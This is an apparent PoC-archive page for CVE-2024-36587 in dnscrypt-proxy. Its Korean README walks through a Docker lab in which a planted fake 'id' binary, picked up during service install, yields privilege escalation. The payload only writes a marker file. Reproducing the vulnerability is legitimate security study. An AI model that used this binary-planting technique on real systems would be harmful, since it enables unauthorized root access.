关联漏洞
标题:
DNSCrypt-proxy 安全漏洞
(CVE-2024-36587)
描述:DNSCrypt-proxy是DNSCrypt项目的一个 DNS 代理。 DNSCrypt-proxy v2.0.0alpha9版本至v2.1.5版本存在安全漏洞,该漏洞源于权限管理不当。攻击者利用该漏洞通过覆盖二进制 dnscrypt-proxy 将权限提升到 root。
介绍
# CVE-2024-36587 - dnscrypt-proxy Local Privilege Escalation
## 개요
- **취약점 설명**: dnscrypt-proxy 서비스 설치 시 현재 디렉토리의 실행 파일을 신뢰하여 등록하는 문제로 인해, 악성 바이너리를 삽입해 권한 상승이 가능하다.
- **취약 버전**: dnscrypt-proxy v2.0.0-alpha9 ~ v2.1.5
- **PoC 방법**: 바이너리 플랜팅 (binary planting)
## 환경 구성
```bash
docker compose up --build
```
빌드 및 실행이 완료되면 컨테이너가 생성된다.
컨테이너 내부로 접속:
```bash
docker run -it --privileged dnscrypt-poc-poc bash
```
## 취약점 트리거
컨테이너 안에서:
```bash
/tmp/id
cat /tmp/poc_was_here
```
`Pwned_from_Docker`가 출력되면 PoC 성공.
## 구성 파일
### Dockerfile
```dockerfile
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
```
### docker-compose.yaml
```yaml
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true
```
## 참고
- https://github.com/DNSCrypt/dnscrypt-proxy
- https://nvd.nist.gov/vuln/detail/CVE-2024-36587
## 실습 결과 스크린샷

## 자세한 보고서
보다 자세한 분석 및 실습 결과는 다음 PDF 문서를 참고하면 된다:
[PoC_Report_CVE-2024-36587.pdf](./PoC_Report_CVE-2024-36587.pdf)
文件快照
[4.0K] /data/pocs/9eda1ea6687f91b9757518879b7de31a8f007939
├── [ 88K] docker-build-success.png
├── [ 115] docker-compose.yaml
├── [ 498] Dockerfile
├── [1.4M] PoC_Report_CVE-2024-36587.pdf
└── [1.9K] README.md
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。